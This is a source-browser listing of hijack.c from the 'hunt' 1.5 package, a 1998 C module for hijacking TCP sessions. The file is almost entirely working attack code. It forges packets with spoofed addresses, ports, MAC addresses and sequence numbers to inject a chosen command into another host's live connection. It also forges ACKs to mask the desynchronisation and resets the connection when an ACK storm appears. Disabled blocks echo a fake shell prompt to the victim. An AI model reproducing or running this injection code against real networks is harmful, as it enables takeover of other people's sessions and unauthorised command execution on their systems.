File: hijack.c

package info (click to toggle)
hunt 1.5-10
  • links: PTS, VCS
  • area: main
  • in suites: forky, sid, trixie
  • size: 868 kB
  • sloc: ansic: 10,277; makefile: 54; sh: 31
file content (318 lines) | stat: -rw-r--r-- 7,857 bytes parent folder | download | duplicates (7)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
/*
 *
 *	This is free software. You can redistribute it and/or modify under
 *	the terms of the GNU General Public License version 2.
 *
 * 	Copyright (C) 1998 by kra
 *
 */
#include "hunt.h"
#include <sys/time.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <assert.h>

/*
 * 
 * 
 * ATTACK
 * 
 *
 */

int user_stormack_hijack(struct user_conn_info *uci, char *cmdbuf)
{
	struct conn_info *ci;
	int retval;
	
	if (!(ci = conn_get(uci))) {
		printf("connection isn't available\n");
		retval = 1;
	} else {
		retval = stormack_hijack(ci, cmdbuf);
		conn_free(ci);
	}
	return retval;
}

struct list l_hijack_conn = LIST_INIT(struct packet, p_next[MODULE_HIJACK_CONN]);

void func_hijack_dst(struct packet *p, struct conn_info *arg)
{
	if (p->p_iph->saddr == arg->dst_addr &&
	    p->p_iph->daddr == arg->src_addr &&
	    p->p_hdr.p_tcph->source == arg->dst_port &&
	    p->p_hdr.p_tcph->dest == arg->src_port) {
		packet_want(p);
		list_produce(&l_hijack_conn, p);
	}
}

void func_hijack_src(struct packet *p, struct conn_info *arg)
{	
	if (p->p_iph->saddr == arg->src_addr &&
	    p->p_iph->daddr == arg->dst_addr &&
	    p->p_hdr.p_tcph->source == arg->src_port &&
	    p->p_hdr.p_tcph->dest == arg->dst_port) {
		packet_want(p);
		list_produce(&l_hijack_conn, p);
	}
}

/*
 * this function is prepared to run in hunt thread main loop
 */
void fast_ack_to_dst(struct packet *p, struct conn_info *ci)
{
	struct iphdr *iph;
	struct tcphdr *tcph;
	struct tcp_spec ts;
	
	iph = p->p_iph;
	tcph = p->p_hdr.p_tcph;

	if (iph->saddr == ci->dst_addr &&
	    iph->daddr == ci->src_addr &&
	    tcph->source == ci->dst_port &&
	    tcph->dest == ci->src_port) {
		/* packet from dst */
		if (p->p_data_len) {
			memset(&ts, 0, sizeof(ts));
			ts.saddr = ci->src_addr;
			ts.daddr = ci->dst_addr;
			ts.sport = ci->src_port;
			ts.dport = ci->dst_port;
			ts.src_mac = ci->src.src_mac;
			ts.dst_mac = ci->dst.src_mac;
			ts.seq = ci->dst.next_d_seq;
			ts.ack_seq = ci->dst.next_seq;
			ts.window = ci->src.window ? ci->src.window : htons(242);
			ts.id = htons(ntohs(ci->src.id) + 1);
			ts.ack = 1;
			ts.psh = 0;/* 1 */ /* with 1 we can recognize it in tcpdump */
			ts.rst = 0;
			ts.data = NULL;
			ts.data_len = 0;
			send_tcp_packet(&ts);
		}
	}
}

#if 0
/*
 * this function is prepared to run in hunt thread main loop
 */
static fast_ack_to_src_count_src;
static void fast_ack_to_src(struct packet *p, struct conn_info *ci)
{
	struct iphdr *iph;
	struct tcphdr *tcph;
	struct tcp_spec ts;
	
	iph = p->p_iph;
	tcph = p->p_hdr.p_tcph;
	
	if (iph->saddr == ci->src_addr &&
	    iph->daddr == ci->dst_addr &&
	    tcph->source == ci->src_port &&
	    tcph->dest == ci->dst_port) {
		/* packet from src */
		if (p->p_data_len) {
			memset(&ts, 0, sizeof(ts));
			ts.saddr = ci->dst_addr;
			ts.daddr = ci->src_addr;
			ts.sport = ci->dst_port;
			ts.dport = ci->src_port;
			ts.src_mac = ci->dst.src_mac;
			ts.dst_mac = ci->src.src_mac;
			ts.seq = ci->src.next_d_seq;
			ts.ack_seq = ci->src.next_seq;
			ts.window = ci->dst.window ? ci->dst.window : htons(242);
			ts.id = htons(ntohs(ci->dst.id) + 1);
			ts.ack = 1;
			ts.psh = 0;/* 1 */ /* with 1 we can recognize it in tcpdump */
			ts.rst = 0;
#if 0
			ts.data = NULL;
			ts.data_len = 0;
#else
			if (p->p_data[0] == '\r' || p->p_data[0] == '\n') {
				ts.data = "\r\n$ ";
				ts.data_len = 4;
			} else {
				ts.data = p->p_data;
				ts.data_len = p->p_data_len;
			}
#endif
			send_tcp_packet(&ts);
/*
			print_data_packet(p, p->p_data_len, 
					  ++fast_ack_to_src_count_src, 0);
 */
		}
	}
}
#endif
#if 0
static void *hijack_src_print_ack(void *arg)
{
	struct tcp_spec ts;
	struct packet *p;
	struct conn_info *ci = (struct conn_info *) arg;
	int count_src = 0;

	while ((p = list_consume(&l_src_host))) {
		print_data_packet(p, p->p_data_len, ++count_src, 0);
		memset(&ts, 0, sizeof(ts));
		ts.saddr = ci->dst_addr;
		ts.daddr = ci->src_addr;
		ts.sport = ci->dst_port;
		ts.dport = ci->src_port;
		ts.src_mac = ci->dst.src_mac;
		ts.dst_mac = ci->src.src_mac;
		ts.seq = ci->src.next_d_seq;
		ts.ack_seq = ci->src.next_seq;
		ts.window = ci->dst.window ? ci->dst.window : htons(242);
		ts.id = htons(ntohs(ci->dst.id) + 1);
		ts.ack = 1;
		ts.psh = 1;
		ts.rst = 0;
		if (p->p_data[0] == '\r' || p->p_data[0] == '\n') {
			ts.data = "\r\n$ ";
			ts.data_len = 4;
		} else {
			ts.data = p->p_data;
			ts.data_len = p->p_data_len;
		}
		send_tcp_packet(&ts);
		packet_free(p);
	}
	return NULL;
}
#endif

/* go to options */
int storm_reset_sec = 4;
int stormack_hijack_wait_sec = 2;

int stormack_hijack(struct conn_info *ci, char *cmdbuf)
{
	struct iphdr *iph;
	struct tcphdr *tcph;
	struct tcp_spec ts;
	struct timespec relts;
	struct ifunc_item ifunc_dst, ifunc_src, ifunc_ack;
	struct packet *p;
	struct timeval reset_time, now;
	unsigned int src_ack = 0;
	int src_ack_count = -1, reset_it = 0;
	int count_dst = 0;
	int ack_storm_detect = 30;
	int cmdbuf_len;
	
	cmdbuf_len = strlen(cmdbuf);
	memset(&ts, 0, sizeof(ts));
	ts.saddr = ci->src_addr;
	ts.daddr = ci->dst_addr;
	ts.sport = ci->src_port;
	ts.dport = ci->dst_port;
	ts.src_mac = ci->dst.dst_mac;
	ts.dst_mac = ci->dst.src_mac;
	ts.seq = ci->dst.next_d_seq;
	ts.ack_seq = ci->dst.next_seq;
	ts.window = ci->src.window ? ci->src.window : htons(242);
	ts.id = htons(ntohs(ci->src.id) + 1);
	ts.ack = 1;
	ts.psh = 1;
	ts.rst = 0;
	ts.data = cmdbuf;
	ts.data_len = cmdbuf_len;
	
	list_produce_start(&l_hijack_conn);
	
	ifunc_ack.func = (void(*)(struct packet *, void *)) fast_ack_to_dst;
	ifunc_ack.arg = ci;
	list_enqueue(&l_ifunc_fast_tcp, &ifunc_ack);
	
	ifunc_dst.func = (void(*)(struct packet *, void *)) func_hijack_dst;
	ifunc_dst.arg = ci;
	list_enqueue(&l_ifunc_tcp, &ifunc_dst);
	ifunc_src.func = (void(*)(struct packet *, void *)) func_hijack_src;
	ifunc_src.arg = ci;
	list_enqueue(&l_ifunc_tcp, &ifunc_src);
	
	/*
	 * send the packet
	 */
	send_tcp_packet(&ts);

	/*
	 * try to acknovledge everything - but it works only if the
	 * client is Linux because it discards packets which acknovledge
	 * unexisted data. Other systems go to ack storm.
	 */
	relts.tv_sec = stormack_hijack_wait_sec;
	relts.tv_nsec = 0;
	while ((p = list_consume_rel(&l_hijack_conn, &relts))) {
		iph = p->p_iph;
		tcph = p->p_hdr.p_tcph;
		if (iph->saddr == ci->dst_addr &&
		    iph->daddr == ci->src_addr &&
		    tcph->source == ci->dst_port &&
		    tcph->dest == ci->src_port) {
			/* packet from dest */
			if (p->p_data_len)
				print_data_packet(p, p->p_data_len, ++count_dst, 1);
			packet_free(p);
		} else {
			/* packet from source */
			if (src_ack != p->p_hdr.p_tcph->ack || src_ack_count < 0) {
				src_ack = p->p_hdr.p_tcph->ack;
				src_ack_count = 0;
			} else if (++src_ack_count > ack_storm_detect) {
				if (!reset_it) {
					set_tty_color(COLOR_BRIGHTRED);
					printf("ACK storm detected - reset after %ds\n", storm_reset_sec);
					set_tty_color(COLOR_LIGHTGRAY);
					reset_it = 1;
					gettimeofday(&reset_time, NULL);
				} else {
					set_tty_color(COLOR_BRIGHTRED);
					printf(".");
					set_tty_color(COLOR_LIGHTGRAY);
					fflush(stdout);
				}
				ack_storm_detect += 300;
			}
			packet_free(p);
		}
		if (reset_it) {
			int sec, usec, d_sec;
			
			gettimeofday(&now, NULL);
			sec = now.tv_sec - reset_time.tv_sec;
			usec = now.tv_usec - reset_time.tv_usec;
			if (usec < 0) {
				usec += 1000000;
				sec--;
			}
			d_sec = usec / 100000 + sec * 10;
			if (d_sec >= storm_reset_sec * 10) {
				rst(ci, 5, MODE_BOTH);
				set_tty_color(COLOR_BRIGHTRED);
				printf("\n\nreset done\n\n");
				set_tty_color(COLOR_LIGHTGRAY);
				break;
			}
		}
	}
	list_remove(&l_ifunc_fast_tcp, &ifunc_ack);
	list_remove(&l_ifunc_tcp, &ifunc_dst);
	list_remove(&l_ifunc_tcp, &ifunc_src);
	packet_flush(&l_hijack_conn);
	return reset_it ? 1 : 0;
}